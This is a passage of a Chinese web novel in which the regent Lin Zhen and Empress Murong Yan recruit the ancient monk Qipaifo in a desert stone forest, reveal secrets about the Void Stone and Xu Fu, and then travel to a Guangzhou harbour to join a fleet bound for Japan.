“周兴他们那帮老家伙,准备后勤物资,至少也需要三天的时间。” “而我们,正好可以利用这三天,去见一个,你一直想见,却又一直没机会见的老朋友。” “老朋友?”慕容嫣-嫣一愣,“谁啊?” 林臻的嘴角,勾起了一抹,高深莫测的笑容。 “一个能帮我们以最快的速度,撬开倭国大门的,最关键钥匙。” “钥匙?” 慕容嫣的好奇心,彻底被勾了起来。 她想了半天,也想不出,在长安城里,还有哪个“老朋友”,能担得起如此重要的角色。 难道是哪个隐世不出的高人?还是哪个手眼通天的神秘商人? “夫君,你就别卖关子了,快告诉我,到底是谁啊?”她摇晃着林臻的胳膊,撒娇道。 “到时候你就知道了。”林臻却是故意吊着她的胃口,一脸神秘地说道,“现在,你的任务,就是好好休息,养好身子。三天之后,我们,准时出发。” 看着他那副故作高深的样子,慕容嫣又好气又好笑,只能无奈地白了他一眼,不再追问。 她知道,自己这个夫君,总是喜欢在最关键的时候,给她准备一些意想不到的“惊喜”。 而她,也早就习惯了,这种被他牵着鼻子走,却又充满了期待的感觉。 …… 三天的时间,一晃而过。 在这三天里,整个大乾帝国,都以前所未有的效率,高速运转着。 在户部尚书周兴,这位“财神爷”的亲自坐镇,和那“战争债券”的巨大刺激之下。 无数的粮草、军饷,如同滚滚洪流一般,从全国各地,源源不断地,汇集到了长安。 而工部尚书李格,这位“工作狂”,更是将整个工部的所有工匠,都给发动了起来。 他们不分昼-夜地加班加点,打造和维修着,即将要随军出征的,各种军械和战船。 至于吏部尚书王安石,这位以“铁面无私”而著称的老顽固,也同样是忙得脚不沾地。 他亲自带队,对所有即将要随军出征的官员和将士,进行了最严格的背景审查和思想教育。确保这支东征大军的绝对纯洁性和忠诚度。 可以说,为了这次,史无前例的,由皇帝和摄政王,共同御驾亲征的东征之战。 整个大乾的朝堂上下,都爆发出了一种,前所未有的,空前的凝聚力和向心力! 三天之后。 一支由三百艘,专门为了远洋运输而改造过的巨大福船,所组成的庞大后勤补给船队。 便浩浩荡荡地,从京城脚下的大运河码头,扬帆起航! 它们将沿着,那条由林臻亲手规划,并由数百万民夫,耗时一年,才刚刚全线贯通的,京杭大运河。 一路南下,直达东海之滨的广州军港。 在那里,与那支早已整装待发的,大乾东征联合舰队,胜利会师! 而就在这支庞大的补给船队,离开长安的同一天。 林臻和慕容嫣,也乘坐着一辆,外表看起来平平无奇,但内部却装饰得,无比奢华舒适的巨大马车。 在数百名最精锐的“夜枭”死士的,秘密护卫之下,悄无声息地离开了长安城。 只是,他们前进的方向,却不是南下广州的官道。 而是一路向西。 向着那片,充满了黄沙、戈壁和无尽传说的神秘西域。 “夫君,我们这是要去哪啊?”马车之上,慕容嫣慵懒地靠在林臻的怀里,看着窗外那越来越荒凉的景象,有些不解地问道,“我们不是要去倭国吗?怎么往西边来了?” “谁告诉你,去倭国,就一定要从东边出海了?”林臻笑着,反问道。 “啊?”慕容嫣彻底糊涂了。 不去东海,难道他们还能从西边,飞过去不成? “我的傻嫣儿,”林臻看着她那呆呆的,可爱的模样,笑着捏了捏她的脸颊,“你是不是忘了,我们这次去倭国,最主要的目的是什么?” “不是为了打仗,而是为了,‘借’东西。” “既然是‘借’东西,那自然是要出其不意,攻其不备。” “我们若是大张旗鼓地从广州出海,那全天下的人都会知道,我们大乾的皇帝和摄政王要御驾亲征倭国了。” “那远在西域的奥斯曼土耳其,和那躲在暗处的‘虚无党’,又岂会没有防备?” “到时候,我们那‘声东击西,瞒天过海’的计策,不就成了个笑话了吗?” 慕容嫣冰雪聪明,瞬间便明白了林臻的意图。 “夫君,你的意思是……我们这次要玩一出真正的‘金蝉脱壳’?” “没错。”林臻的眼中,闪过一丝,狐狸般的狡黠光芒。 “我们就让全天下的人都以为,我们夫妻二人,是跟着那支补给船队,一起南下广州了。” “而我们真正的目标,却是这里。” 他一边说着,一边从怀中,取出了一副无比详尽的西域地图。 然后他的手指重重地点在了地图上,一个位于昆仑山脉深处,一个被标记为“死亡之海”的,巨大无人区之上! “死亡之海?”慕容嫣看着地图上那个,让她都感到一阵阵心悸的恐怖名字,那双美丽的凤眸之中,充满了深深的困惑和不解。 “夫君,你带我来这种鸟不拉屎的鬼地方干什么?” “当然是来,见我们那位,能帮我们撬开倭国大门的老朋友了。”林臻笑着说道。 “老朋友?在这里?” 第1225章 再见老朋友 慕容嫣更糊涂了。 她实在想不明白,在这种连鬼都见不到一个的死亡禁区里,怎么会藏着他们所谓的“老朋友”。 “对,就在这里。”林臻的嘴角,勾起了一抹,高深莫测的笑容。 “而且,我相信他已经等我们等了很久了。” 马车在那颠簸崎岖的戈壁之上,又行驶了整整一天一夜。 终于在一片巨大而又荒凉的,黑色戈壁滩的尽头,缓缓地停了下来。 “到了。”林臻的声音,响起。 慕容嫣掀开车帘,向外望去。 只见在他们面前,是一片一望无际的由无数巨大的,黑色风化岩石所组成的诡异石林。 那些岩石奇形怪状,犬牙交错。 在夕阳的余晖之下,投射出一道道如同魔鬼利爪一般的狰狞的阴影。 整个石林都笼罩在一种,死一般的寂静和诡异的氛围之中。 仿佛这里,根本就不是人间。 而是一片,来自于九幽地狱的,被诅咒的死亡之地。 “夫君,你确定……我们的那位‘老朋友’,就住在这里?”慕容嫣看着眼前这片,让她都感到一阵阵头皮发麻的诡异石林,声音里,带上了一丝,连她自己都未曾察觉的紧张。 她身上那件作为唯一寝衣的神凤降世裙,也仿佛感受到了,这片死亡之地所散发出的,不祥的气息。 那极致玄黑的苏锦底料,在夕阳的血色光芒之下,仿佛变成了一片,正在流淌着鲜血的,黑色的伤口。 那只用真金线绣成的擎天巨凤,更是凤目圆睁,充满了警惕和敌意。 仿佛随时准备,从她的身上挣脱而出,与那隐藏在石林深处的,未知的邪恶进行一场你死我活的血战。 “当然。”林臻却是,一脸的云淡风轻。 他拉着慕容嫣的手,走下马车,然后对着那片,死寂的石林朗声说道。 “棋牌佛老前辈!” “晚辈林臻,携拙荆慕容嫣,前来拜会!” “还请前辈,现身一见!” 他的声音,并不大。 但却如同,拥有着穿金裂石的魔力一般,在整个空旷的戈壁滩上,远远地,回荡开来。 棋牌佛? 听到这个熟悉而又陌生的名字,慕容嫣的身体,猛地一僵! 她怎么也没想到,夫君口中那个,能帮他们撬开倭国大门的“老朋友”,竟然会是,这个传说中,活了上千年,游戏人间,亦正亦邪的,神秘老怪物! 她下意识地,抓紧了林臻的手,那双美丽的凤眸之中,充满了无法掩饰的紧张和警惕。 她虽然从未见过这位传说中的棋牌佛,但关于他的各种,离奇而又恐怖的传说,她却是从小听到大的。 据说他,喜怒无常,杀人如麻。 据说他,拥有着可以颠倒乾坤,逆死的,无上神通。 据说他,最喜欢做的就是用他那副,可以预测未来的,神秘棋盘,来和天下间所有的英雄豪杰,进行一场,以生命和灵魂为赌注的死亡对弈。 赢了他可以满足你任何一个愿望。 输了你的灵魂,就将永远地被禁锢在他那副,诡异的棋盘之中,永世不得超生。 这样一个,比魔鬼还要可怕的老怪物,夫君他……他为什么会认识? 又为什么,要带自己来见他? 就在慕容嫣,心乱如麻,惊疑不定的时候。 一个,苍老、沙哑,却又带着一丝,玩世不恭的,慵懒声音,突然从那片,死寂的石林深处,悠悠地传了出来。 “呵呵呵……林臻小子,你倒是还真敢来啊。” “老夫还以为,你已经忘了,我们之间的那个,赌约了呢。” 随着话音落下。 一个身穿破烂袈裟,光着脑袋,手里拿着一个,脏兮兮的紫砂酒葫芦,看起来,邋里邋遢,疯疯癫癫的,独臂老和尚,便从那巨大的黑色岩石之后,一步一步地,缓缓走了出来。 他的脸上,虽然带着一丝,玩世不恭的笑容。 但他那双,浑浊而又深邃的眼睛里,却闪烁着一种,仿佛能洞悉世间一切,看穿人心万物的,可怕的智慧光芒! 他正是那个,在漠北与林臻有过一面之缘,并立下了一个惊天赌约的,神秘老怪物。 ——棋牌佛! 当棋牌佛的目光,落在林臻身边的慕容嫣身上时。 他那双浑浊的眼睛里,瞬间便闪过了一丝,不易察觉的,惊艳和赞叹。 “啧啧啧……好一个,凤格天成,母仪天下的绝代佳人。” “林臻小子,你这眼光倒是不错。” “能娶到如此一位,集美貌、智慧、与帝王之气于一身的奇女子为妻。” “你小子,这辈子也算是不亏了。” 他这番充满了调侃和赞赏意味的话,让慕容嫣那张本就紧张的俏脸,“唰”的一下,又红了。 她下意识地,往林臻的怀里缩了缩。 那娇羞的模样,像一只受惊的小兔子,看得棋牌佛,又是一阵意味深长的大笑。 “哈哈哈……有趣,有趣。” “想当初,老夫第一次见到你这丫头的时候,你还只是一个,只会躲在你那死鬼老爹背后,哭哭啼啼的小丫头片子呢。” “却没想到,这才短短几年的功夫,竟然就已经,出落成了,一位杀伐决断,威震四海的铁血女帝了。” “看来,这爱情的力量还真是伟大啊。” 慕容嫣听着他这番,仿佛对自己的过去,了如指掌的言语,心中又是一阵,莫名的震惊和骇然。 她敢肯定,自己这辈子,绝对是第一次见到眼前这个疯疯癫癫的老和尚。 可他,为什么会对自己如此的熟悉? 难道……他真的,拥有那传说中可以未卜先知,洞悉过去未来的,可怕神通? “老前辈说笑了。” 就在这时,林臻开口了。 他将慕容嫣护在身后,对着棋牌佛不卑不亢地抱了抱拳。 “晚辈今日前来,并非是为了跟前辈您叙旧的。” “哦?”棋牌佛闻言,挑了挑眉,那张邋遢的脸上,露出了一丝,玩味的笑容,“那你是为了什么?” “该不会是想通了,准备来跟老夫,履行我们之间的那个赌约了吧?” “赌约?”慕容嫣闻言,心中又是一紧。 她一脸紧张地,看着林臻,那双美丽的凤眸之中,充满了担忧和不解。 什么赌约? 夫君他,什么时候跟这个老怪物,立下过什么赌约? 她怎么一点都不知道? “赌约之事,晚辈自然是时刻铭记在心,不敢有半分的遗忘。”林臻,看着棋牌佛那双,仿佛能看穿一切的,深邃眼眸缓缓地摇了摇头。 “只是,现在还不是时候。” 第1226章 请您出山 “哦?不是时候?”棋牌佛脸上的笑意更浓了,“那依你之见,什么时候才是时候?” “等晚辈解决了眼前这最后一点,小小的麻烦之后。”林臻的声音平静,却又充满了不容置疑的自信。 “小小的麻烦?”棋牌佛闻言,忍不住,放声大笑了起来。 那笑声,沙哑而又刺耳,充满了无尽的嘲讽和鄙夷。 “哈哈哈……林臻小子,你还真是不知天高地厚啊。” “奥斯曼土耳其的二十万铁骑,东印度公司的无敌舰队,还有那隐藏在世界暗面,实力深不可测的‘虚无党’……” “这任何一个,都足以让这颗星辰之上,任何一个所谓的帝国,在瞬间灰飞烟灭!” “而你竟然管这叫,‘小小的麻烦’?” “你这口气未免也太大了吧?” 慕容嫣听着棋牌佛,将他们大乾此刻所面临的,所有危机都一字不差地,说了出来。 那颗刚刚才稍稍安定下来的心,又一次,提到了嗓子眼! 她现在可以,百分之一万地确定了! 眼前这个老怪物,绝对拥有着,某种他们根本无法理解的可怕力量! 他就好像是一个站在更高维度之上,俯瞰着他们这些凡人挣扎的,无上神明! 在祂的面前,任何的阴谋诡计,任何的秘密,都将,无所遁形! 然而,面对着棋牌佛那充满了嘲讽和鄙夷的质问。 林臻的脸上,却是没有半分的慌乱和动容。 他只是静静地看着他,嘴角缓缓地勾起了一抹,同样是,高深莫测的笑容。 “老前辈,您说的这些晚辈都承认。” “但是您是不是忘了。” “您眼前这个,不知天高地厚的小子。” “同样也是一个,被您称之为,‘变数’的存在啊。” 林臻的这句反问,像一道无形的闪电。 瞬间便让棋牌佛那张玩世不恭的脸上,所有的笑容都凝固了。 他那双浑浊的眼睛,在这一刻,微微地眯了起来。 一股,比那西伯利亚的万年寒流,还要更加冰冷,更加令人心悸的恐怖气势,从他那看似邋遢破烂的身体里,轰然爆发了出来! “小子,你在威胁我?” 他的声音变得无比的沙哑和冰冷。 仿佛是来自于九幽地狱的死亡之音 那股,冰冷刺骨的恐怖气势,如同一座,无形的万丈高山,狠狠地压在了慕容嫣的心上! 让她那娇小的身体,不受控制地,微微颤抖了起来。 脸色,也在瞬间,变得一片煞白。 她感觉自己的灵魂都快要被那股,如同实质般的,冰冷杀意给彻底冻结了! 然而,就在她快要撑不住的时候。 一只温暖有力的大手,却突然轻轻地将她揽入了怀中。 林臻,挡在了她的面前。 他用自己那虽然还很虚弱,但却依旧是挺拔如山的身躯,为她挡住了那足以让天地都为之变色的,所有的威压和杀意。 “老前辈,您又说笑了。” 他的声音,依旧是那么的平静,那么的云淡风轻。 仿佛,棋牌佛那足以让鬼神都为之战栗的恐怖气势,在他看来,不过是一阵微不足道的夏日清风。 “晚辈这点微末的道行,又岂敢,在您这位,活了上千年的,陆地神仙面前班门弄斧?” “晚辈今日前来,只是想,跟您做一个交易。” “交易?”棋牌佛闻言,微微一愣。 他收起了身上那股,骇人的气势那双深邃的眼睛里,闪过了一丝好奇。 “小子,你倒是说说看。” “你有什么资格,来跟老夫做交易?” “资格吗?”林臻笑了笑。 然后,他缓缓地,从怀中取出了一样东西。 那是一颗,只有拇指大小的,通体漆黑,却又在阳光下闪烁着诡异红芒的菱形水晶! 正是他,从伊丽莎白手腕上拆下来的那颗,“恶魔的契约”! 当棋牌佛看到这颗,黑色水晶的瞬间。 他那张,一直都是古井不波,仿佛对世间一切都漠不关心的,邋遢老脸之上。 第一次浮现出了一抹名为“震惊”的情绪! “这……这是……‘虚无之石’?!” 他失声惊呼道,那双浑浊的眼睛里,全是难以置信的骇然! “你……你竟然能,将它从那个女娃娃的身上,完整地取下来?!” “这……这怎么可能?!” “据老夫所知,这‘虚无之石’乃是‘虚无党’那帮疯子,用一种,超越了这个时代科技的,‘量子纠缠’之术,所打造而成的终极控制武器!” “一旦被植入人体,便会与宿主的心跳和灵魂,彻底绑定!除非能在一瞬间,同时切断,它与那另一颗‘母石’之间的所有能量共鸣!” “否则它便会在不到千分之一息的时间之内,轰然引爆!将宿主,连同方圆百里之内的一切都炸成,最原始的虚无!” “这种近乎于神迹的,精准操作,就算是老夫,也没有十足的把握能够做到!” “你……你一个连内力都已尽失的凡人小子……” “到底是怎么做到的?!” 棋牌佛,是真的被彻彻底底地震惊到了! 他感觉自己这上千年来,所建立起来的所有世界观,都在这一刻,被眼前这个,总是能创造出各种匪夷所思奇迹的年轻小子,给轰得七零八落,体无完肤! 他第一次,发自灵魂深处地,感觉到了一种,名为“看不透”的情绪。 一种,面对着一个与自己完全不在同一个维度之上,思考问题的超级妖孽时,所产生的深深的无力感和挫败感! 然而,面对着棋牌佛那充满了震惊和不解的质问。 林臻的脸上,却是没有半分的得意。 他只是静静地,把玩着手中那颗仿佛蕴含着无穷奥秘的黑色水晶。 然后用一种高深莫测的平淡语气,缓缓地说道。 “老前辈,您刚才不是还在问,晚辈有什么资格来跟您做交易吗?” “现在,您觉得这个资格够了吗?” 棋牌佛沉默了。 他那双深邃的眼睛,死死地盯着林臻手中那颗,黑色的水晶。 又看了一眼,林臻那张虽然苍白但却充满了,绝对自信和强大气场的,英俊脸庞。 许久。 他才缓缓地,吐出了一口,浊气。 那张邋遢的老脸上,露出了一丝,比哭还难看的苦涩笑容。 “够了。” “你小子赢了。” 他知道,自己从一开始就输了。 输给了这个,完全不按常理出牌,心思比深渊还要难测的绝世妖孽。 自己,自以为将整个世界,都当成了自己的棋盘,将天下苍生,都当成了自己的棋子。 却做梦也想不到。 自己,其实也只是别人棋盘之上的一颗小小的,身不由己的棋子罢了。 而那个真正执棋的更高维度的玩家。 就是眼前这个,让他完全看不透,也完全惹不起的年轻小子! 第1227章 闹个天翻地覆 棋牌佛看着林臻,那双浑浊的老眼里,头一次没了那种玩世不恭的笑意,只剩下一种看怪物似的震惊和不解。 他活了上千年,自认为这世间的一切,都在他的算计之内,可唯独眼前这个年轻人,他看不透,也算不准。 “你小子……”棋牌佛的声音沙哑得厉害,他晃了晃手里那个脏兮兮的酒葫芦,灌了一大口,才缓缓说道,“你到底是个什么东西?” “老前辈说笑了,晚辈林臻,大乾摄政王,仅此而已。”林臻的脸上挂着淡淡的笑容,仿佛刚才那个石破天惊的“交易”,只是随口一提的小事。 “哼,少跟老夫来这套虚的。”棋牌佛撇了撇嘴,那双深邃的眼睛又重新落在了林臻手中的那颗黑色水晶上,“你真以为,凭着这么个小玩意儿,就能跟老夫谈条件了?” “晚辈不敢。”林臻依旧是那副不卑不亢的样子,“晚辈只是觉得,这东西,对老前辈您,或许有些用处。” “用处?”棋牌佛冷笑一声,“老夫游戏人间上千年,什么宝贝没见过?这东西虽然奇特,但也还没到能让老夫动心的地步。” “是吗?”林臻的嘴角,勾起了一抹狡黠的弧度,“那如果晚辈告诉您,这‘虚无之石’,并非是这个世界的产物呢?” 这句话,像一道无形的惊雷,瞬间劈在了棋牌佛的天灵盖上! 他那张邋遢的老脸,再一次凝固了。那双浑浊的眼睛,猛地瞪大,死死地盯着林臻,眼神里充满了难以置信的骇然! “你……你说什么?!” “晚辈说,”林臻一字一句,清晰地说道,“这东西,和晚辈一样,都来自于另一个世界。” “一个科技水平,远超这个时代的,更高维度的世界。” “而那个所谓的‘虚无党’,他们的目的,也绝不仅仅只是,在这个世界,搞一些所谓的‘净化’和破坏那么简单。” “他们真正的目的,是要打开两个世界之间的‘壁垒’,让他们的世界,彻底地,降临到我们这个世界!” “届时,别说是我们这些凡人了,就算是您这位,活了上千年的陆地神仙,恐怕也难逃,被更高维度的文明,降维打击,彻底抹去的命运!” 林臻的这番话,每一个字,都像是一柄万钧重锤,狠狠地砸在棋牌佛那颗,自以为早已看破红尘,古井不波的心上! 他彻底傻了。 他呆呆地看着眼前这个,正一脸平静地,向他揭示着一个,足以颠覆他上千年认知的天大秘密的年轻人。 他感觉自己的脑子,嗡嗡作响,一片空白。 更高维度的世界?降维打击? 这些词汇,他虽然听不懂,但他却能从林臻那无比凝重的语气中,感受到一种,前所未有的,发自灵魂深处的,冰冷的恐惧! 他第一次发现,自己这上千年来所建立起来的,所有对这个世界的认知和掌控,在眼前这个,来自于另一个世界的“变数”面前,是那么的可笑和不堪一击。 慕容嫣在一旁,也是听得心惊肉跳。她虽然也听不太懂什么“维度”、“降维”之类的词,但她却能清晰地感觉到,自己的夫君,正在下一盘,一盘大到她根本无法想象的惊天棋局!而这盘棋局的胜负,将直接关系到,他们这个世界的生死存亡! 她下意识地,抓紧了林臻的胳膊。 她身上那件作为唯一寝衣的神凤降世裙,也仿佛感受到了她内心的紧张和不安。 那极致玄黑的苏锦底料,在这荒凉的戈壁滩上,显得格外的深邃和压抑。那只用真金线绣成的擎天巨凤,更是凤目圆睁,充满了警惕,仿佛在与她一同,面对着这个,即将到来的,未知的巨大危机。 “你……”许久,棋牌佛才从那巨大的震撼中,回过神来。他的声音,沙哑得不成样子,“你说的……都是真的?” “晚辈,从不妄言。”林臻淡淡地说道。 棋牌佛沉默了。 他那双深邃的眼睛,死死地盯着林臻,仿佛要将他的灵魂,都给彻底看穿。 又过了许久,他才缓缓地,吐出了一口浊气。 那张邋遢的老脸上,露出了一丝,比哭还难看的苦涩笑容。 “呵呵……呵呵呵……有趣,真是有趣。” “老夫活了上千年,自以为早已跳出三界外,不在五行中。却没想到,到头来,还是被卷进了这么一盘,连自己都看不懂的,生死棋局里。” 他晃了晃脑袋,又灌了一大口酒,然后用一种,充满了无奈和自嘲的语气说道:“说吧,小子。” “你想要老夫,帮你做什么?” 他知道,自己没得选。 从他知道这个世界的真相的那一刻起,他就已经和林臻这条疯狗,被绑在了同一艘,即将要沉没的贼船上了。 他要么,眼睁睁地看着这艘船,被那来自另一个世界的惊涛骇浪所吞噬。 要么就只能,跟着这条疯狗,一起去把那片惊涛骇浪给彻底地掀翻! “很简单。”林臻的脸上,终于露出了一丝,得逞的笑容,“晚辈想请老前辈,跟我们夫妻二人,一起去一趟倭国。” “去倭国?”棋牌佛一愣,“去那种鸟不拉屎的弹丸小国干什么?” “当然是去,为我们这个,即将要沉没的世界,寻找一线生机了。”林臻的眼中,闪烁着,如同魔鬼一般的,狡黠光芒。 “倭国,有我们现在最需要的三样东西。” “第一,钱。” “第二,人。” “第三,也是最重要的一点。” “一个,足以将全世界所有人的目光,都吸引过去的,巨大的,血肉磨盘!” “晚...晚辈想请老前辈,帮我们,找到那座传说中的巨大银矿。” “也帮我们,在这盘,看似必死的棋局里,找到那唯一的,一线生机!” 棋牌佛静静地听着,那双浑浊的老眼里,闪烁着,越来越亮的光芒。 他看着眼前这个,明明身处绝境,却依旧敢于逆天而行,以整个世界为棋盘,向那未知的更高维度文明,悍然宣战的,绝世狂人。 那颗早已沉寂了上千年的,冰冷的心,在这一刻,竟然又一次,不受控制地,剧烈地,跳动了起来! “哈哈……哈哈哈哈!” 他猛地仰起头,发出了一阵,充满了无尽的疯狂和豪迈的,震天狂笑! “好!好一个,以世界为棋盘!好一个,逆天而行的绝世狂人!” “林臻小子,你这个疯子,老夫喜欢!” “不就是去倭国,掀桌子吗?” “算老夫一个!” “老夫倒要看看,你小子,到底能把这盘,早已注定了结局的死棋,下出个什么样的,惊天变数来!” 他猛地,将手中的酒葫芦,狠狠地摔在了地上! 然后,他大步流星地,走到了林臻和慕容嫣的面前,那双浑浊的老眼里,全是豁出去了的,疯狂和决绝! “走!” “老夫,就陪你们这对,无法无天的小夫妻!” “去把这个,狗娘养的世界,给彻底地,闹个,天翻地覆!” 第1228章 徐福? 马车在颠簸的官道上飞驰,车轮滚滚,尘土飞扬。 车厢内,气氛却有些古怪。 慕容嫣紧紧地挨着林臻,一只手抓着他的胳膊,另一只手下意识地护着自己微微隆起的小腹。 她那双美丽的凤眸,正带着一种无法掩饰的警惕和好奇,偷偷地打量着那个盘腿坐在他们对面,正闭目养神,嘴里还哼着不知名小调的邋遢老和尚。 她还是觉得很不真实。 这个传说中活了上千年的老怪物,这个喜怒无常,杀人如麻的棋牌佛,竟然就这么轻易地被自己夫君给“忽悠”上了贼船,还要跟着他们一起去倭国? 这事儿怎么想怎么玄乎。 她总觉得,这老和尚答应得太干脆了,干脆得让她心里有点发毛。 她身上那件作为唯一寝衣的神凤降世裙,在这狭小而又颠簸的车厢里,显得有些施展不开。那极致玄黑的苏锦底料,衬得她那张因为怀孕而略显圆润的俏脸,愈发地白皙动人。 长达五丈的墨金色苏锦拖尾,被小心翼翼地收拢在软榻的一角,层层叠叠,像一团华贵而又慵懒的黑色云朵,将她和林臻紧紧地包裹其中,仿佛在无声地宣告着,这个男人是她一个人的,谁也别想抢走。 “我说,女娃娃。”就在这时,那个一直闭着眼睛的老和尚,却突然开口了。 慕容嫣的身体,猛地一僵,下意识地又往林臻的怀里缩了缩。 “你不用这么紧张。”棋牌佛依旧是闭着眼睛,嘴角却勾起了一抹玩味的笑容,“老夫虽然不是什么好人,但也还没到,会对一个孕妇下手的地步。” “更何况,你肚子里这个小家伙,可不是一般的凡胎。” “他可是,集合了你们两个‘变数’的血脉,所诞生出来的,一个更大的‘变-数’。” “老夫还指望着,看他以后,能把这个世界,搅合成什么样的一锅粥呢。又怎么会,现在就伤害他?” 他这番话,说得是云淡风轻,但听在慕容嫣的耳朵里,却不亚于一声惊雷! 他……他竟然连自己肚子里怀的是个男孩都知道?! 这……这怎么可能?! 就连宫里医术最高明的张太医,也只是说她脉象奇特,男女难辨。这个老怪物,竟然只凭眼睛看,就能看得出来? 她一脸震惊地看向林臻,却发现自己夫君的脸上,依旧是那副云淡风轻的淡定模样,仿佛对棋牌佛的这番“神棍”言论,一点都不感到意外。 “老前辈,您这‘天眼通’的神通,倒是越来越炉火纯青了。”林臻笑着说道,语气里听不出是夸赞还是调侃。 “哼,少拍马屁。”棋牌佛撇了撇嘴,“老夫这点微末道行,在你这个连‘虚无之石’都能徒手拆解的怪物面前,算得了什么?” 他说到这里,那双浑浊的老眼,终于缓缓地睁开了一条缝,饶有兴致地看着林臻: “小子,老夫倒是很好奇。你那所谓的‘声东击西,瞒天过海’的计策,听起来倒是不错。可你有没有想过,万一,那倭国的银矿,只是个传说呢?万一,你那所谓的‘血肉磨盘’,没把敌人磨死,反倒把自己给陷进去了呢?” “老前辈觉得,晚辈会做这种,没有把握的赌博吗?”林臻笑着反问道。 “哦?”棋牌佛的兴致更浓了,“这么说,你小子,还有后手?” “后手谈不上。”林臻摇了摇头,“晚辈只是,提前找了一个,比伊达政宗那个‘带路党’,还要更加可靠,也更加强大的,‘超级带路党’罢了。” “超级带路党?”棋牌佛和慕容嫣,都愣住了。 “没错。”林臻的嘴角,勾起了一抹,高深莫测的笑容。 他没有再多做解释,只是从怀里,取出了一样东西。 那是一枚,通体漆黑,雕刻着一只栩栩如生的,三足乌鸦的,古朴令牌。 当棋牌佛看到这枚令牌的瞬间,他那张一直都是玩世不恭的邋遢老脸上,所有的笑容,再一次,凝固了! 他那双浑浊的老眼,猛地瞪得滚圆! 那眼神里,充满了比之前看到“虚无之石”时,还要更加强烈百倍的,难以置信的,震惊和骇然! “这……这是……‘八咫乌’的信物?!” “徐福那个老不死的,竟然……竟然还活着?!” “而且,他还把这个,象征着他们‘神武会’最高权力的信物,交给了你?!” 棋牌佛感觉自己这上千年的世界观,在今天,算是被林臻这个小子,给彻彻底-底地,来回碾压了无数遍! 徐福! 那个两千多年前,奉了始皇帝之命,率领三千童男童女,远渡重洋,去寻找那传说中的,长生不老药的,千古第一方士! 他竟然还活着?! 而且还跟林臻这个小子,搅和到了一起?! 这……这他娘的,到底是个什么情况?! “老前辈,您认识徐福?”林臻看着棋牌佛那副活见鬼的表情,也是微微一愣。 他原本只是想,拿出这枚令牌,来镇一镇这个老怪物,让他知道知道,自己手里到底有多少张,他根本想象不到的底牌。 却没想到,这老怪物,竟然连徐福都知道。 看来,这个世界的背后,还隐藏着太多太多,他所不知道的,上古秘辛。 “何止是认识。”棋牌佛的脸上,露出了一丝,极其复杂的,充满了回忆、感慨,和一丝淡淡的忌惮的神色。 “想当年,老夫还只是一个,刚刚才在棋盘之上,领悟了一丝‘天道’的,年轻和尚。” “而他徐福,却已经是,跟在始皇帝身边,可以呼风唤雨,指点江山的,护国大法师了。” “老夫还曾,与他在泰山之巅,对弈过一局。” “那一局,我们从日出,下到日落,下了整整三天三夜,最终,却依旧是,不分胜负。” “老夫本以为,他早已随着那大秦帝国的覆灭,而化为一抔黄土了。” “却没想到,他竟然真的,找到了那传说中的,长生之法。” “还跑到那东瀛的弹丸之地,创建了一个,什么狗屁的‘神武会’。” “小子,”他抬起头,那双深邃的老眼,死死地盯着林臻,“你老实告诉老夫,你跟他,到底是什么关系?” “他为什么,会把这个,比他自己性命还重要的东西,交给你?” 第1229章 越来越会打太极了 面对棋牌佛那充满了审视和怀疑的目光,林臻只是淡淡一笑,将那枚“八咫乌”的令牌,重新收回了怀中。 “老前辈,这便是晚辈的秘密了。”他用一种,高深莫测的语气说道,“每个人都有自己的秘密,不是吗?” “就像您,活了上千年,不也同样有许多我们这些凡人,所不知道的秘密吗?” 他这番话,说得是不卑不亢,滴水不漏。 既没有正面回答棋牌佛的问题,又在无形之中,将了对方一军。 棋牌佛看着他那副,油盐不进的滑头模样,也是有些又好气又好笑。 他知道,自己再问下去,也问不出个所以然来了。 这个小子,心里的算盘比谁都精。 他若是不想说,就算是拿刀架在他脖子上,他也不会吐露半个字。 “哼,你小子,倒是越来越会跟老夫打太极了。”棋牌佛撇了撇嘴,重新闭上了眼睛,一副懒得再搭理他的样子。 但他那颗,早已沉寂了上千年的心,却是因为林臻刚才所透露出来的,那一个又一个的惊天秘密,而掀起了前所未有的滔天巨浪! 徐福! 神武会! 看来这小小的倭国,远比他想象的要有趣得多啊。 他突然觉得,自己这次跟着这两个无法无天的小家伙,一起去倭国“掀桌子”,或许还真是他这上千年来,做得最正确也最刺激的一个决定了。 …… 车队一路向东日夜兼程。 在经过了长达十余日的,漫长而又枯燥的旅途之后。 终于,在第十一日的清晨,抵达了那位于东海之滨的,大乾帝国最大的军港——广州。 只是他们并没有从正门进入那座,早已是戒备森严,三步一岗,五步一哨的军港。 而是在林臻的示意下,绕到了军港后方,一个极其隐蔽的,鲜为人知的小小渔村。 渔村的码头上早已有一艘,看起来毫不起眼的中型福船,在那里静静地等候多时。 船头之上,鬼影那张,永远都是面无表情的脸上,在看到林臻和慕容嫣,从马车上走下来的那一刻,终于露出了一丝发自内心的激动和喜悦。 “属下鬼影,恭迎王爷!恭迎陛下!”他单膝跪地,声音虽然不大但却充满了绝对的忠诚和敬畏。 “起来吧。”林臻淡淡地挥了挥手,“事情都办妥了吗?” “回王爷的话,都已办妥。”鬼影站起身,恭敬地回答道,“属下已经按照您的吩咐,将您和陛下,即将要秘密抵达的消息,提前告知了岳将军和伊丽莎白提督。” “他们此刻,应该正在旗舰‘黑珍珠号’上,等候您二位的大驾光临。” “很好。”林臻满意地点了点头。 他又转头,看了一眼那个,正一脸好奇地,打量着四周那充满了咸湿海风和鱼腥味的,独特景象的,邋遢老和尚。 “老前辈,请吧。” “嗯。”棋牌佛应了一声,倒也没说什么,只是自顾自地提着他的那个宝贝酒葫芦,第一个大摇大摆地,走上了那艘福船。 林臻则是小心翼翼扶着自己那位,已经有些身子发沉的小娇妻紧随其后。 慕容嫣今日,依旧是穿着那身作为她唯一寝衣的神凤降世裙。 只是或许是因为,即将要见到自己那支承载着她所有希望和野心的庞大舰队。 她今日的气场显得格外的强大和自信。 那极致玄黑的苏锦底料,在这充满了咸湿海风的码头之上,仿佛变成了一面即将要远征四海的黑色的死亡战旗! 那只用真金线绣成的擎天巨凤,更是凤目圆睁,充满了君临天下的无上霸气! 仿佛已经看到了,自己随着它的主人,将这片蔚蓝色的海洋,都彻底征服的辉煌景象! 当她踏上那艘福船的甲板时,那强劲的海风,瞬间便将她那长达五丈的墨金色苏锦拖尾,给高高地吹拂了起来! 那华贵的凌乱,在这一刻不再是慵懒,也不再是悲伤。 而是一种要将这片大海上所有的敌人,都彻底碾碎的滔天征服之欲! 福船,缓缓地驶离了码头。 向着那停泊在,数海里之外的,庞大的如同移动的海上城市一般的,大乾东征联合舰队,悄无声息地靠了过去。 